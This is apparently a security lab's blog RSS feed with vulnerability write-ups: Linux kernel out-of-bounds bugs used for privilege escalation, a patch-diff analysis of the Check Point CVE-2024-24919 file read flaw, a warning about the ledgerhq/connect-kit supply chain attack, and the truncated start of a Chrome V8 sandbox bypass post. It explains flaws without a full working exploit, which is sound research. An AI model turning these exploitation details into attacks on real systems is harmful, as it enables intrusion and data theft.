src="https://cdn-images-1.medium.com/max/1024/1*eYydXjU2qmxwwTptnAVR_w.png" /></figure><p>In the fl_set_geneve_opt function, key-&gt;enc-&gt;opts.len is used in the data array without prior validation. If we construct an appropriate length, we can write the subsequent opt&#39;s length, r1, r2, and r3 fields&#39; 0 values into opts.len, thereby creating an off-by-one vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dg29AsqubdotzbUW29a0XA.png" /></figure><p>This can bypass subsequent validation operations for fl_set_geneve_opt, leading to an out-of-bounds write within the structure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YViZ4RFVI86kR7VIPCk1GA.png" /></figure><p>However, due to macro definition limitations, we can overflow a maximum of 128 bytes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*63I9_jwkUuuweH9z1m33Hg.png" /></figure><p>As for out-of-bounds reading, cls_flower itself provides the functionality to read the content we previously passed in, and it relies on the len field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XTDHr8a2VSGpD9EvNj1yLA.png" /></figure><p>If we continue to fill data into this array after triggering the structure overflow, since our len has been modified, we will start writing the content of this data again. After layout, we can modify the len of part of the original opt. At the same time, build a fake opt structure at the end of the array. Then the kernel will mistakenly think that there will be more data passed in later, thereby realizing out-of-bounds reading in the structure.</p><p>Finally, we utilized this out-of-bounds write to achieve privilege escalation on Ubuntu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*4ZP_BvXcrIZuv70QxkF69Q.png" /></figure><p>After discovering these vulnerabilities, we decided to enhance our fuzzing to find more vulnerabilities.</p><h3>0x03 Enhance Fuzzers</h3><p>In this section, we first introduced the three main reasons for failure.</p><p>The first kind is that the model of this vulnerability is difficult to construct. For example, some memory destructive vulnerabilities may not have intuitive effects such as crashes. When they write out of bounds, they are performed at intervals of some memory units, and the modified value is reasonable under a certain probability.</p><p>The second situation is usually more common in some closed-source fuzz tests. Because in some cases, the trigger paths of the code are many and complex, it is difficult to determine all the key processing modules in a short time. Therefore, in most cases, more attention may be paid to the early processing modules.</p><p>There is also the third type of vulnerability, which is often the hardest to find. It needs to be triggered when multiple conditions are met at the same time. In many cases, we may not actually understand the key points involved in parsing a function. At the same time, in closed fuzz testing, we usually focus more on the adaptation of early interface parameters and the improvement of code coverage. In addition, there are still some types of vulnerabilities that are difficult to find with fuzz testing.</p><p>Then we improved it in the following ways. First, for multi-layer nested structures, we focused on the efficiency of fuzz testing to reach specific instructions, that is, we focused on the depth of our fuzz rather than the breadth. Secondly, we paid more attention to the path testing of key instruction locations. For the same path, we used different special values for testing multiple times. In general, this is a guided fuzz testing strategy that can better dig out some forgotten vulnerabilities.</p><p>Finally, we focus on the newly discovered vulnerability CVE-2024–36978 after our improvements.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gydVP8lhChOF8150qZ2AsA.png" /></figure><p>The vulnerability occurs in the sch_multiq module. We can see that at position 1, qopt-&gt;bands is assigned. Then at position 2, removed is allocated by q-&gt;max_bands minus q-&gt;bands. At position 3, q-&gt;bands is assigned by qopt-&gt;bands. At position 4, we put some extra qdisc objects into the removed array, and then free them at position 5. Why is the old q-&gt;bands used to allocate the removed size at position 2, but the new q-&gt;bands is used in the for loop later? This seems strange. If max_bands minus the new bands is greater than twice max_bands minus the old bands, the for loop may write out of bounds to a heap pointer that will be freed soon.</p><p>By exploiting this vulnerability, we can easily escalate the privileges of the Linux kernel.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FpQFl99fuu4I%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DpQFl99fuu4I&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FpQFl99fuu4I%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/44f17787f7151e3d04c698b140d785ad/href">https://medium.com/media/44f17787f7151e3d04c698b140d785ad/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=94b0a71a5ec7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2024–24919 Check Point Security Gateways Arbitrary File Read Vulnerability]]></title>
            <link>https://medium.com/@numencyberlabs/cve-2024-24919-check-point-security-gateways-arbitrary-file-read-vulnerability-f33b296be408?source=rss-bb6501fe37e0------2</link>
            <guid isPermaLink="false">https://medium.com/p/f33b296be408</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[checkpoints]]></category>
            <dc:creator><![CDATA[Numen Cyber Labs]]></dc:creator>
            <pubDate>Tue, 04 Jun 2024 02:49:35 GMT</pubDate>
            <atom:updated>2024-06-04T02:49:35.054Z</atom:updated>
            <content:encoded><![CDATA[<h3>Overview</h3><ul><li>Vulnerability Information: Check Point Security Gateways Arbitrary File Read Vulnerability</li><li>Prerequisites: IPsec VPN or Mobile Access accessible</li><li>Vulnerability Description: Exploiting this vulnerability can lead to sensitive information leakage on the Security Gateway.</li><li>CVE Number: CVE-2024–24919</li><li>Reproduction Steps:</li><li>Test System (Check_Point_R81.10_T335.iso)</li><li>Follow the video to run the exploit and related commands.</li><li>Affected Versions and Fixes: R77.20 (EOL), R77.30 (EOL), R80.10 (EOL), R80.20 (EOL), R80.20.x, R80.20SP (EOL), R80.30 (EOL), R80.30SP (EOL), R80.40 (EOL), R81, R81.10, R81.10.x, R81.20</li></ul><h3>Environment Setup</h3><p>You can refer to <a href="https://www.youtube.com/watch?v=AmdNOA8xtoU">How To’s Configure Mobile and Remote Access VPN on Gaia R81 10</a> to configure Mobile Access.</p><h3>Vulnerability Analysis</h3><h3>Patch Diff</h3><p>By downloading Check_Point_R81_10_JHF_139_BLOCK_PORTAL_MAIN_Bundle_T3_FULL.tar, you can obtain the hotfix package, which can be directly decompressed as it is not encrypted. Inside, you can find the vpn.full ike.full bin files.</p><p>When Mobile Access is enabled, both vpnd and iked will start, indicating that these binaries are responsible for the functionality. We will choose to analyze vpnd using diff.</p><p>In the http_get_CCC_callback function, you can see the new function sanitize_filename.</p><pre>  v14 = strstr(v13, &quot;CSHELL/&quot;);<br>  v15 = files_to_download[v6];<br>  if ( v14 )<br>  {<br>    if ( !v15 )<br>    {<br>      v35 = fwString::getstr((fwString *)v40);<br>      if ( sanitize_filename(v35, a5) )<br>        goto LABEL_38;<br>      goto LABEL_31;<br>    }<br>  }</pre><pre>int __usercall sanitize_filename@&lt;eax&gt;(int a1@&lt;eax&gt;, int a2@&lt;ecx&gt;)<br>{<br>  int v3; // eax<br>  int v4; // edi<br><br>  v3 = strnlen(a1, 255);<br>  v4 = v3;<br>  if ( !v3 || v3 == 255 )<br>  {<br>    if ( TdCheckLevelF(2) )<br>      tderrorFunc(&quot;slim&quot;, 2, 0, &quot;%s: Invalid input_len: %zu&quot;, &quot;sanitize_filename&quot;, v4);<br>  }<br>  else<br>  {<br>    send_path_traversal_alert_log(a1, a2);<br>  }<br>  return -1;<br>}<br><br>void __usercall send_path_traversal_alert_log(int a1@&lt;eax&gt;, int a2@&lt;edx&gt;)<br>{<br>  struct in_addr v3; // eax<br>  int v4; // eax<br>  char *v5; // [esp+10h] [ebp-158h]<br>  char *v6; // [esp+28h] [ebp-140h]<br>  void *v7[2]; // [esp+38h] [ebp-130h] BYREF<br>  char v8[16]; // [esp+40h] [ebp-128h] BYREF<br>  char s[280]; // [esp+50h] [ebp-118h] BYREF<br><br>  if ( a2 )<br>  {<br>    v7[0] = v8;<br>    v7[1] = 0;<br>    v8[0] = 0;<br>    v3.s_addr = cpHttpSvc_get_peer_addr(a2);<br>    v6 = inet_ntoa(v3);<br>    v4 = strlen(v6);<br>    std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;::_M_replace((int)v7, 0, 0, (int)v6, v4);<br>    snprintf(s, 0x100u, &quot;Suspected path traversal attack from: %s. The following file was requested: %s&quot;, v7[0], a1);<br>    if ( TdCheckLevelF(0) )<br>      tderrorFunc(&quot;slim&quot;, 0, 0, &quot;send_path_traversal_alert_log: %s&quot;, s);<br>    vpn_general_log((int)s, 1, 1, 8448, 0);<br>    if ( v7[0] != v8 )<br>      operator delete(v7[0]);<br>  }<br>  else if ( TdCheckLevelF(0) )<br>  {<br>    tderrorFunc(&quot;slim&quot;, 0, 0, &quot;send_path_traversal_alert_log: opaque is null&quot;, v5);<br>  }<br>}</pre><p>We can observe that:</p><ul><li>The sanitize_filename function checks the length of the filename and if the length is valid, it calls the send_path_traversal_alert_log function to send an alert log.</li><li>The send_path_traversal_alert_log function logs a suspected path traversal attack, including the client&#39;s IP address and the requested filename.</li><li>The return value is -1.</li></ul><h3>Vulnerability Analysis of http_get_CCC_callback Function</h3><p>In the start_vpnd_web_server function, we can see that it registers a route for /clients/MyCRL, which triggers the http_get_CCC_callback function when accessed.</p><pre>              if (cpHttpSvc_register_query(a1: data_8497338, a2: &quot;/clients/MyCRL&quot;, a3: http_get_CCC_callback, a4: 0) == 0)<br>              {<br>                if (TdCheckLevelF(2) == 0)<br>                {<br>                  goto label_810ac49<br>                }<br>                var_388_3 = &quot;/clients/MyCRL&quot;<br>                char const* const var_38c_8 = &quot;start_vpnd_web_server&quot;<br>                eax_140 = &quot;%s: init of VPND http CRL for url &#39;%s&#39; query failed.&quot;<br>                goto label_810bbd1<br>              }</pre><p>This function has some decompilation issues in IDA, which can be fixed by handling initial data processing:</p><pre>.text:080FF0A0 http_get_CCC_callback proc near         ; DATA XREF: start_vpnd_web_server(char *,int,int,bool):loc_810A8A5↓o<br>.text:080FF0A0                                         ; start_vpnd_web_server(char <br>.text:080FF0A0<br>.text:080FF0A0 ; __unwind { // ___gxx_personality_v0<br>.text:080FF0A0                 call    sub_80E64FE<br>.text:080FF0A5                 add     eax, 3698511 //Press d to cancel pointer reference<br>.text:080FF0AA                 push    ebp<br>.text:080FF0AB                 mov     ebp, esp<br>.text:080FF0AD                 push    edi<br>.text:080FF0AE                 push    esi<br>.text:080FF0AF                 push    ebx<br>.text:080FF0B0                 sub     esp, 5Ch</pre><pre>int __cdecl http_get_CCC_callback(int a1, int a2, int a3, void *a4, int a5, int a6)<br>{<br>  int v6; // edi<br>  const char *needle; // esi<br>  const char *haystack; // eax<br>  const char *v9; // eax<br>  int v10; // eax<br>  const char *v11; // eax<br>  FILE *stream; // esi<br>  int v13; // edi<br>  size_t v14; // edi<br>  void *v15; // eax<br>  size_t v16; // edi<br>  int v17; // esi<br>  int v18; // eax<br>  char *v19; // edx<br>  int v20; // esi<br>  int v22; // eax<br>  int v23; // eax<br>  int v24; // eax<br>  int v25; // eax<br>  int v26; // esi<br>  int v27; // eax<br>  int v28; // eax<br>  int v29; // eax<br>  const char *v30; // edi<br>  int v31; // [esp+14h] [ebp-58h]<br>  int v32; // [esp+14h] [ebp-58h]<br>  int v33; // [esp+14h] [ebp-58h]<br>  _BYTE v34[16]; // [esp+30h] [ebp-3Ch] BYREF<br>  _BYTE v35[44]; // [esp+40h] [ebp-2Ch] BYREF<br><br>  fwString::fwString((fwString *)v34);<br>  cpBinBuf::cpBinBuf((cpBinBuf *)v35);<br>  if ( TdCheckLevelF(2) )<br>    tderrorFunc(&quot;slim&quot;, 2, 0, &quot;%s: ENTER&quot;, &quot;http_get_CCC_callback&quot;);<br>  if ( !a6 )<br>  {<br>    if ( TdCheckLevelF(2) )<br>      tderrorFunc(&quot;slim&quot;, 2, 0, &quot;%s: The request is too long, aborting.&quot;, &quot;http_get_CCC_callback&quot;);<br>    goto LABEL_25;<br>  }<br>  if ( !a5 &amp;&amp; !a4 )<br>  {<br>    if ( TdCheckLevelF(3) )<br>      tderrorFunc(&quot;slim&quot;, 3, 0, &quot;%s: The http Get server has stoped to listen.&quot;, &quot;http_get_CCC_callback&quot;);<br>    goto LABEL_25;<br>  }<br>  if ( a3 &lt;= 0 || a2 == 0 || !a4 )<br>  {<br>    if ( TdCheckLevelF(2) )<br>      tderrorFunc(&quot;slim&quot;, 2, 0, &quot;%s: Got empty request or no callback. Ignore.&quot;, &quot;http_get_CCC_callback&quot;);<br>    goto LABEL_25;<br>  }<br>  fwString::Set((fwString *)v34, (const char *)(a2 + 1), a3 - 1);<br>  v6 = 0;<br>  needle = files_to_download[0];<br>  if ( files_to_download[0] )<br>  {<br>    while ( 1 )<br>    {<br>      haystack = (const char *)fwString::operator char const*((int)v34);<br>      if ( strstr(haystack, needle) )<br>        break;<br>      needle = files_to_download[++v6];<br>      if ( !needle )<br>        goto LABEL_16;<br>    }<br>    if ( TdCheckLevelF(2) )<br>      tderrorFunc(&quot;slim&quot;, 2, 0, &quot;%s: file name appears %s.&quot;, &quot;http_get_CCC_callback&quot;, files_to_download[v6]);<br>  }<br>LABEL_16:<br>  v9 = (const char *)fwString::operator char const*((int)v34);<br>  if ( strstr(v9, &quot;CSHELL/&quot;) || files_to_download[v6] )<br>  {<br>    v10 = fwString::operator char const*((int)v34);<br>    v11 = (const char *)fw_filename(&quot;conf/extender&quot;, v10);<br>    stream = fopen(v11, &quot;rb&quot;);<br>    if ( !stream )<br>    {<br>      if ( TdCheckLevelF(2) )<br>      {<br>        v24 = fwString::operator char const*((int)v34);<br>        v31 = fw_filename(&quot;conf/extender&quot;, v24);<br>        tderrorFunc(&quot;slim&quot;, 2, 0, &quot;%s: could not open %s for read&quot;, &quot;http_get_CCC_callback&quot;, v31);<br>      }<br>      goto LABEL_25;<br>    }<br>  }<br>  else<br>  {<br>    if ( memcmp((const void *)fwString::getstr((fwString *)v34), &quot;clients/MyCRL/&quot;, 0xEu) )<br>    {<br>LABEL_38:<br>      if ( TdCheckLevelF(2) )<br>      {<br>        v25 = fwString::operator char const*((int)v34);<br>        v32 = fw_filename((char *)&amp;unk_838AC96, v25);<br>        tderrorFunc(&quot;slim&quot;, 2, 0, &quot;%s: Invalid filename: %s&quot;, &quot;http_get_CCC_callback&quot;, v32);<br>      }<br>      goto LABEL_25;<br>    }<br>    if ( TdCheckLevelF(4) )<br>    {<br>      v28 = fwString::getstr((fwString *)v34);<br>      tderrorFunc(&quot;slim&quot;, 4, 0, &quot;%s: retrieving a CRL: %s&quot;, &quot;http_get_CCC_callback&quot;, v28 + 14);<br>    }<br>    v29 = fwString::getstr((fwString *)v34);<br>    v30 = (const char *)fw_filename(&quot;conf/extender/MyCRL&quot;, v29 + 14);<br>    stream = fopen(v30, &quot;rb&quot;);<br>    if ( !stream )<br>    {<br>      if ( TdCheckLevelF(4) )<br>        tderrorFunc(&quot;slim&quot;, 4, 0, &quot;%s: Failed opening file: %s&quot;, &quot;http_get_CCC_callback&quot;, v30);<br>      goto LABEL_38;<br>    }<br>  }<br>  fseek(stream, 0, 2);<br>  v13 = ftell(stream);<br>  if ( v13 &gt; 102399999 )<br>  {<br>    if ( TdCheckLevelF(2) )<br>    {<br>      v22 = fwString::operator char const*((int)v34);<br>      v23 = fw_filename(&quot;conf/extender&quot;, v22);<br>      tderrorFunc(&quot;slim&quot;, 2, 0, &quot;%s: %s %s %d&quot;, &quot;http_get_CCC_callback&quot;, 137943005, v23, v13);<br>    }<br>    goto LABEL_31;<br>  }<br>  rewind(stream);<br>  cpBinBuf::Set((cpBinBuf *)v35, v13);<br>  v14 = cpBinBuf::Len((cpBinBuf *)v35);<br>  v15 = (void *)cpBinBuf::Data((cpBinBuf *)v35);<br>  v16 = fread(v15, 1u, v14, stream);<br>  if ( v16 &lt; cpBinBuf::Len((cpBinBuf *)v35) )<br>  {<br>    if ( TdCheckLevelF(2) )<br>      tderrorFunc(&quot;slim&quot;, 2, 0, &quot;%s: could not read from file&quot;, &quot;http_get_CCC_callback&quot;);<br>LABEL_31:<br>    fclose(stream);<br>LABEL_25:<br>    v20 = -1;<br>    goto LABEL_26;<br>  }<br>  fclose(stream);<br>  if ( fwString::length((fwString *)v34) &gt; 4u<br>    &amp;&amp; (v26 = fwString::operator char const*((int)v34),<br>        v27 = fwString::length((fwString *)v34),<br>        !strncasecmp((const char *)(v26 + v27 - 4), &quot;.exe&quot;, 4u)) )<br>  {<br>    if ( TdCheckLevelF(4) )<br>    {<br>      v33 = fwString::operator char const*((int)v34);<br>      tderrorFunc(&quot;slim&quot;, 4, 0, &quot;%s: retrieved buf for \&quot;%s\&quot;&quot;, &quot;http_get_CCC_callback&quot;, v33);<br>    }<br>    v17 = cpBinBuf::Len((cpBinBuf *)v35);<br>    v18 = cpBinBuf::Data((cpBinBuf *)v35);<br>    v19 = &quot;application/octet-stream&quot;;<br>  }<br>  else<br>  {<br>    v17 = cpBinBuf::Len((cpBinBuf *)v35);<br>    v18 = cpBinBuf::Data((cpBinBuf *)v35);<br>    v19 = &quot;text/html&quot;;<br>  }<br>  ((void (__cdecl *)(int, int, int, char *))a4)(a5, v18, v17, v19);<br>  v20 = 0;<br>LABEL_26:<br>  cpBinBuf::~cpBinBuf((cpBinBuf *)v35);<br>  fwString::~fwString((fwString *)v34);<br>  return v20;<br>}</pre><p>We can see that the http_get_CCC_callback function mainly handles HTTP GET requests, checks the validity of the request, reads the contents of specified files, and returns the file contents to the caller through a callback function. It also performs logging operations at different log levels to record important information or errors.</p><p>The key logic lies here:</p><pre> fwString::Set((fwString *)v34, (const char *)(a2 + 1), a3 - 1);<br>  v6 = 0;<br>  needle = files_to_download[0];<br>  if ( files_to_download[0] )<br>  {<br>    while ( 1 )<br>    {<br>      haystack = (const char *)fwString::operator char const*((int)v34);<br>      if ( strstr(haystack, needle) )<br>        break;<br>      needle = files_to_download[++v6];<br>      if ( !needle )<br>        goto LABEL_16;<br>    }<br>    if ( TdCheckLevelF(2) )<br>      tderrorFunc(&quot;slim&quot;, 2, 0, &quot;%s: file name appears %s.&quot;, &quot;http_get_CCC_callback&quot;, files_to_download[v6]);<br>  }<br>LABEL_16:<br>  v9 = (const char *)fwString::operator char const*((int)v34);<br>  if ( strstr(v9, &quot;CSHELL/&quot;) || files_to_download[v6] )<br>  {<br>    v10 = fwString::operator char const*((int)v34);<br>    v11 = (const char *)fw_filename(&quot;conf/extender&quot;, v10);<br>    stream = fopen(v11, &quot;rb&quot;);</pre><p>We can see that it gets the file to be downloaded from the request packet. It first matches the file name with the files_to_download list, where v6 is the index.</p><pre>.data:084882EC files_to_download dd offset aIcswebCab  ; DATA XREF: LOAD:0805C9AC↑o<br>.data:084882EC                                         ; &quot;icsweb.cab&quot;<br>.data:084882F0                 dd offset aIcsImagesCab ; &quot;ICS_images.cab&quot;<br>.data:084882F4                 dd offset aClIcsCab     ; &quot;cl_ics.cab&quot;<br>.data:084882F8                 dd offset aComponentsXml ; &quot;components.xml&quot;<br>.data:084882FC                 dd offset aIcsscanDllGz ; &quot;icsscan.dll.gz&quot;<br>.data:08488300                 dd offset aIcsltaDllGz  ; &quot;icslta.dll.gz&quot;</pre><p>Next, if the requested file name contains CSHELL/ or if files_to_download[v6] has a value, it proceeds to the fopen function to read the file and return it to the user.</p><pre> v9 = (const char *)fwString::operator char const*((int)v34);<br>  if ( strstr(v9, &quot;CSHELL/&quot;) || files_to_download[v6] )<br>  {<br>    v10 = fwString::operator char const*((int)v34);<br>    v11 = (const char *)fw_filename(&quot;conf/extender&quot;, v10);<br>    stream = fopen(v11, &quot;rb&quot;);</pre><h3>Vulnerability Fix Analysis</h3><p>Key points of the fix are:</p><pre>  v13 = (const char *)fwString::operator char const*(v40);<br>  v14 = strstr(v13, &quot;CSHELL/&quot;);<br>  v15 = files_to_download[v6];<br>  if ( v14 )<br>  {<br>    if ( !v15 )<br>    {<br>      v35 = fwString::getstr((fwString *)v40);<br>      if ( sanitize_filename(v35, a5) )<br>        goto LABEL_38;<br>      goto LABEL_31;<br>    }<br>  }<br>  else if ( !v15 )<br>  {<br>    if ( !memcmp((const void *)fwString::getstr((fwString *)v40), &quot;clients/MyCRL/&quot;, 0xEu) )<br>    {<br>      if ( TdCheckLevelF(4) )<br>      {<br>        v37 = fwString::getstr((fwString *)v40);<br>        tderrorFunc(&quot;slim&quot;, 4, 0, &quot;%s: retrieving a CRL: %s&quot;, &quot;http_get_CCC_callback&quot;, v37 + 14);<br>      }<br>      v38 = fwString::getstr((fwString *)v40);<br>      if ( sanitize_filename(v38 + 14, a5) )<br>        goto LABEL_38;<br> /* <br> ... omit code<br>  */<br>LABEL_38:<br>    v22 = -1;<br>    goto LABEL_39;<br>  }<br><br> /* <br> ... omit code<br>  */<br>LABEL_39:<br>  cpBinBuf::~cpBinBuf((cpBinBuf *)v41);<br>  fwString::~fwString((fwString *)v40);<br>  return v22;</pre><p>We can see that for file names containing CSHELL/ or those not matching the files_to_download list, the sanitize_filename function is used for validation and logging, then it jumps to the end of the function without performing the read operation.</p><h3>Summary</h3><p>CVE-2024–24919 is an arbitrary file read vulnerability in Check Point’s IPsec VPN or Mobile Access, which can lead to the leakage of critical sensitive information such as SSH keys, shadow files, and fwauth.NDB. This could allow attackers to perform lateral movement and gain domain administrator privileges.The vendor has confirmed that this vulnerability is being widely exploited. You can refer to the <a href="https://support.checkpoint.com/results/sk/sk182336">official security advisory</a> to quickly detect and fix the vulnerability.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f33b296be408" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Web3 Security: ledgerhq/connect-kit supply chain attack warning]]></title>
            <link>https://medium.com/@numencyberlabs/web3-security-ledgerhq-connect-kit-supply-chain-attack-warning-abf4ed952b71?source=rss-bb6501fe37e0------2</link>
            <guid isPermaLink="false">https://medium.com/p/abf4ed952b71</guid>
            <category><![CDATA[numencyber]]></category>
            <category><![CDATA[ledger]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[web3]]></category>
            <dc:creator><![CDATA[Numen Cyber Labs]]></dc:creator>
            <pubDate>Thu, 14 Dec 2023 16:20:29 GMT</pubDate>
            <atom:updated>2023-12-14T16:21:45.141Z</atom:updated>
            <content:encoded><![CDATA[<h3>Affected versions</h3><p>ledgerhq/connect-kit 1.1.5</p><p>ledgerhq/connect-kit 1.1.6</p><p>ledgerhq/connect-kit 1.1.7</p><h3>Event Analysis</h3><p>The Numen security team discovered that Ledger’s Ledgerhq/connect-kit module has been implanted with malicious phishing code, and that a large number of dapps integrate this functionality, with no clear statistics on the list of affected dapps, which is extremely wide-ranging.</p><p><a href="https://github.com/LedgerHQ/connect-kit/commit/a4ba6946d8ab1906b040daf259c49dcd1dfdeeba">fix · LedgerHQ/connect-kit@a4ba694</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*RT_efZw4ni570ltAYgveOA.png" /></figure><p>Poisoned code <a href="https://www.npmjs.com/package/@ledgerhq/connect-kit/v/1.1.7?activeTab=code">https://www.npmjs.com/package/@ledgerhq/connect-kit/v/1.1.7?activeTab=code</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*QM1pXoMqHGe1lrKx1Sc3SQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*mld2YbR6xkmFXLmsN2671A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*rkQRW4iMIzkgaLCz3mkFgw.png" /></figure><p>The Revoke.cash Dapp also integrates the Ledgerhq connect-kit (a security tool for managing wallet token authorizations and signatures).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*76yY0d549yIVZFk70seTvA.jpeg" /></figure><p>As of this posting, the hacker associated with the Ledgerhq Connect Kit incident has profited.</p><p>Hacked wallet address, associated wallet has been flagged.</p><p><a href="https://etherscan.io/address/0x658729879fca881d9526480b82ae00efc54b5c2d">Ledger Exploiter | Address 0x658729879fca881d9526480b82ae00efc54b5c2d | Etherscan</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ObmySqmDxDe4Sn0SWf3ANA.png" /></figure><p><a href="https://etherscan.io/address/0x412f10AAd96fD78da6736387e2C84931Ac20313f">angel-drainer.eth | Address 0x412f10AAd96fD78da6736387e2C84931Ac20313f | Etherscan</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BH99nr4v8JF-v_uDifmsEg.png" /></figure><p>The official fix has been pushed to <a href="https://github.com/LedgerHQ/connect-kit/releases/tag/ck-v1.1.8">https://github.com/LedgerHQ/connect-kit/releases/tag/ck-v1.1.8</a>, until then please do not use your wallet to interact with any dapps for the time being.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j72j_nTsjbzs_LGUxgB_Wg.png" /></figure><p>Attackers used this account when pushing code: @JunichiSugiura (Jun, former Ledger employee) jun.sugiura.jp#gmail.com, probably @JunichiSugiura’s account has been hacked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*G3KVzx8eeK0fhgCu4Re9QQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tX6y3KYAcuYq6SQgRehIVg.png" /></figure><h3>summarize</h3><p>In this incident, the attacker gained access to the code push account of a former Ledger employee @JunichiSugiura (I can’t rule out that it was done by myself), and then pushed malicious phishing code into the ledgerhq/connect-kit library to carry out a supply chain attack to steal the user’s cryptoassets when the user interacts with the dapp. ledger’s influence is very strong, and the project side of the dapp apps with a dependency on the module is requested to upgrade it as soon as possible.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=abf4ed952b71" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Use Wasm to Bypass Latest Chrome v8sbx Again]]></title>
            <link>https://medium.com/@numencyberlabs/use-wasm-to-bypass-latest-chrome-v8sbx-again-639c4c05b157?source=rss-bb6501fe37e0------2</link>
            <guid isPermaLink="false">https://medium.com/p/639c4c05b157</guid>
            <category><![CDATA[sendbox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[v8]]></category>
            <category><![CDATA[chrome]]></category>
            <category><![CDATA[numencyber]]></category>
            <dc:creator><![CDATA[Numen Cyber Labs]]></dc:creator>
            <pubDate>Fri, 03 Nov 2023 05:32:39 GMT</pubDate>
            <atom:updated>2023-11-03T05:32:39.169Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>01 - Introduction</strong></h3><p>On November 2, 2023, POC2023 took place as scheduled in South Korea. I was fortunate to attend this conference where YYJB and I presented on the topic of “Modern Chrome Exploit Chain Development.”</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FWFsMFC4KLbU%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DWFsMFC4KLbU&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FWFsMFC4KLbU%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/f8efb7a8ff6a38afff5df751824811b2/href">https://medium.com/media/f8efb7a8ff6a38afff5df751824811b2/href</a></iframe><p>Given the title “Modern”, it would indeed be a bit awkward if we didn’t share something relatively new with the attendees. Therefore, after finalizing our topic, I quickly dived into researching V8 sandbox bypasses. Initially, I tried to bypass using binary data fetched, and eventually, I managed to bypass PartitionAlloc, achieving arbitrary read and write of the full address. Thinking I had successfully bypassed it, I quickly finished the presentation and sent it to the organizers, waiting for the conference.</p><p>On the early morning of October 30, 2023, at 1 am, a realization hit me that I might have overlooked something. In the middle of the night, an idea popped into my mind, prompting me to test the arbitrary read and write functionality. Recall that during a previous event, the Tianfu Cup, I had exploited a WASM vulnerability using the PartitionAlloc method to achieve arbitrary read and write. So, initially, I didn’t give it much thought this time. I just tested the read and write functionality. However, when I attempted to read and write within WASM, it crashed. I was jolted awake, realizing I hadn’t fully bypassed the V8 sandbox.</p><p>Upon further debugging and disassembly analysis, I concluded that: PartitionAlloc had changed from its original version. To be precise, four new mitigation measures had been added:</p><ul><li>We can no longer control the MetadataPage by modifying FreeList. This is because Chrome checks the difference between the current and next address, and if it doesn’t meet the criteria, it directly interrupts (int).</li><li>Once we control the MetadataPage, in the previous x86 version, there’s a logical operation performed on the FreeList address. If the FreeList doesn’t meet the criteria, it directly interrupts (int3).</li></ul><p>Partition Alloc free list Mitigation</p><pre><br>558110B6E62B - bswap rdx<br>558110B6E62E - mov rsi,rdx<br>558110B6E631 - xor rsi,r12<br>558110B6E634 - cmp rsi,001FFFFF { 2097151 }<br>558110B6E63B - ja chrome+2C26B80 <strong>{ -&gt;558110B6EB80 } INT3</strong><br>558110B6E641 - mov esi,edx<br>558110B6E643 - and esi,001FC000 { 2080768 }<br>558110B6E649 - je chrome+2C26B80 <strong>{ -&gt;558110B6EB80 } INT3</strong></pre><ul><li>Restrictions on Target Address Writing in PartitionAlloc: Neither too small</li><li>nor too large.</li></ul><p>I reached a preliminary conclusion: I hadn’t fully bypassed PartitionAlloc Alloc; I had only gained arbitrary read and write capabilities within a certain memory range.</p><p>Partition Alloc MetadataPage Mitigation(version 118.0.5993.117)</p><pre>chrome+2D202FF - mov rax,[chrome+DC12B60] <strong>{ (162400000000=min(Partition Addr)) }</strong><br>chrome+2D20306 - cmp rax,r14 (r14 is destination addr)<br>chrome+2D20309 - ja chrome+2D20B8B <strong>INT3 (if dest &lt; min(PartitionAlloc addr) then crash))</strong><br>chrome+2D2030F - add rax,[chrome+DC12B70] { (0) } (rax+lengthOfParthtion)<br>chrome+2D20316 - cmp rax,r14<br>chrome+2D20319 - jbe chrome+2D20B8B <strong>INT3 (if dest &gt; 